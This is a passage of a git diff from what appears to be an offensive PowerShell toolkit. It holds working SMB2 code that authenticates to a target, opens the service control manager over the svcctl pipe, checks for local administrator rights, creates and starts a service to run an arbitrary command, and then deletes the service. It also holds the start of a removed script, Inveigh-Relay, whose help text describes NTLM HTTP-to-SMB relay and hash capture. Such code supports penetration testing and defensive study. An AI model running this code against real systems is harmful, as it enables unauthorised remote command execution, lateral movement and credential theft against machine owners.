$SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + + try + { + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + } + catch + { + Write-Output "[-] Session connection is closed" + $SMB_client_stage = 'Exit' + } + + if($Refresh -and $SMB_client_stage -ne 'Exit') + { + Write-Output "[+] Session refreshed" + $SMB_client_stage = 'Exit' + } + elseif($SMB_client_stage -ne 'Exit') + { + $SMB_client_stage = 'RPCBind' + } + + } + + 'RPCBind' + { + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $SMB_file_ID = $SMB_client_receive[132..147] + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_RPC_data = New-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'OpenSCManagerW' + } + + 'ReadRequest' + { + + Start-Sleep -m $Sleep + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditRequest"] = 0x7f,0x00 + $packet_SMB2_header["CreditCharge"] = 0x10,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2ReadRequest $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + else + { + $SMB_client_stage = 'StatusPending' + } + + } + + 'StatusPending' + { + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + + } + + 'OpenSCManagerW' + { + $SMB2_message_ID += 23 + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'CheckAccess' + } + + 'CheckAccess' + { + + if([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + { + + $SMB_service_manager_context_handle = $SMB_client_receive[108..127] + + if($SMB_execute -eq $true) + { + Write-Verbose "$output_username is a local administrator on $Target" + $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + + if($SCM_data.Length -lt $SMB_split_index) + { + $SMB_client_stage = 'CreateServiceW' + } + else + { + $SMB_client_stage = 'CreateServiceW_First' + } + + } + else + { + Write-Output "$output_username is a local administrator on $Target" + $SMB2_message_ID += 20 + $SMB_close_service_handle_stage = 2 + $SMB_client_stage = 'CloseServiceHandle' + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '05-00-00-00') + { + Write-Output "$output_username is not a local administrator or does not have required privilege on $Target" + $SMBExec_failed = $true + } + else + { + Write-Output "Something went wrong with $Target" + $SMBExec_failed = $true + } + + } + + 'CreateServiceW' + { + + if($SMBExec_command_bytes.Length -lt $SMB_split_index) + { + $SMB2_message_ID += 20 + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'StartServiceW' + } + else + { + + + } + } + + 'CreateServiceW_First' + { + $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) + $SMB2_message_ID += 20 + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] + $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first + $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) + $SMB_split_index_tracker = $SMB_split_index + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_split_stage_final -le 2) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_split_stage = 2 + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Middle' + { + $SMB_split_stage++ + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] + $SMB_split_index_tracker += $SMB_split_index + $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle + $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_split_stage -ge $SMB_split_stage_final) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Last' + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] + $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'StartServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '00-00-00-00') + { + Write-Verbose "Service $SMB_service created on $Target" + $SMB_service_context_handle = $SMB_client_receive[112..131] + $SMB2_message_ID += 20 + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + Write-Verbose "Trying to execute command on $Target" + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'DeleteServiceW' + } + elseif([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '31-04-00-00') + { + Write-Output "Service $SMB_service creation failed on $Target" + $SMBExec_failed = $true + } + else + { + Write-Output "Service creation fault context mismatch" + $SMBExec_failed = $true + } + + } + + 'DeleteServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '1d-04-00-00') + { + Write-Output "Command executed with service $SMB_service on $Target" + } + elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '02-00-00-00') + { + Write-Output "Service $SMB_service failed to start on $Target" + } + + $SMB2_message_ID += 20 + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'CloseServiceHandle' + $SMB_close_service_handle_stage = 1 + } + + 'CloseServiceHandle' + { + + if($SMB_close_service_handle_stage -eq 1) + { + Write-Verbose "Service $SMB_service deleted on $Target" + $SMB2_message_ID += 20 + $SMB_close_service_handle_stage++ + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle + } + else + { + $SMB2_message_ID++ + $SMB_client_stage = 'CloseRequest' + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle + } + + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + } + + 'CloseRequest' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2CloseRequest $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'TreeDisconnect' + } + + 'TreeDisconnect' + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($session_string -and !$Logoff) + { + $SMB_client_stage = 'Exit' + } + else + { + $SMB_client_stage = 'Logoff' + } + + } + + 'Logoff' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + } + + } + + if($SMBExec_failed) + { + BREAK SMB_execute_loop + } + + } + + } + + } + + if($session_string -and $Inveigh) + { + $inveigh.session_lock_table[$session] = 'open' + $inveigh.session_message_ID_table[$session] = $SMB2_message_ID + $inveigh.session_list[$session] | Where-Object {$_."Last Activity" = Get-Date -format s} + } + + if(!$session_string -or $Logoff) + { + $SMB_client.Close() + $SMB_client_stream.Close() + } + +} + +}
\ No newline at end of file diff --git a/Scripts/Inveigh-Relay.ps1 b/Scripts/Inveigh-Relay.ps1 deleted file mode 100644 index b7bd457..0000000 --- a/Scripts/Inveigh-Relay.ps1 +++ /dev/null @@ -1,4516 +0,0 @@ -function Invoke-InveighRelay -{ -<# -.SYNOPSIS -Invoke-InveighRelay performs NTLMv2 HTTP to SMB relay with psexec style command execution. - -.DESCRIPTION -Invoke-InveighRelay currently supports NTLMv2 HTTP to SMB1/SMB2 relay with psexec style command execution. - - HTTP/HTTPS to SMB NTLMv2 relay with granular control - Supports SMB1 and SMB2 targets - Does not require priveleged access on the Invoke-InveighRelay host - The Invoke-InveighRelay host can be targeted for privilege escalation - NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS - Granular control of console and file output - -.PARAMETER Challenge -Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random -challenge will be generated for each request. Note that during SMB relay attempts, the challenge will be -pulled from the SMB relay target. - -.PARAMETER Command -Command to execute on SMB relay target. Use PowerShell character escapes where necessary. - -.PARAMETER ConsoleOutput -Default = Disabled: (Low/Medium/Y/N) Enable/Disable real time console output. If using this option through a -shell, test to ensure that it doesn't hang the shell. Medium and Low can be used to reduce output. - -.PARAMETER ConsoleQueueLimit -Default = Unlimited: Maximum number of queued up console log entries when not using the real time console. - -.PARAMETER ConsoleStatus -(Integer) Interval in minutes for displaying all unique captured hashes and credentials. This is useful for -displaying full capture lists when running through a shell that does not have access to the support functions. - -.PARAMETER ConsoleUnique -Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, -and username combinations when real time console output is enabled. - -.PARAMETER FileOutput -Default = Disabled: (Y/N) Enable/Disable real time file output. - -.PARAMETER FileOutputDirectory -Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must also be -enabled. - -.PARAMETER HTTP -Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. - -.PARAMETER HTTPIP -Default = Any: IP address for the HTTP/HTTPS listener. - -.PARAMETER HTTPPort -Default = 80: TCP port for the HTTP listener. - -.PARAMETER HTTPS 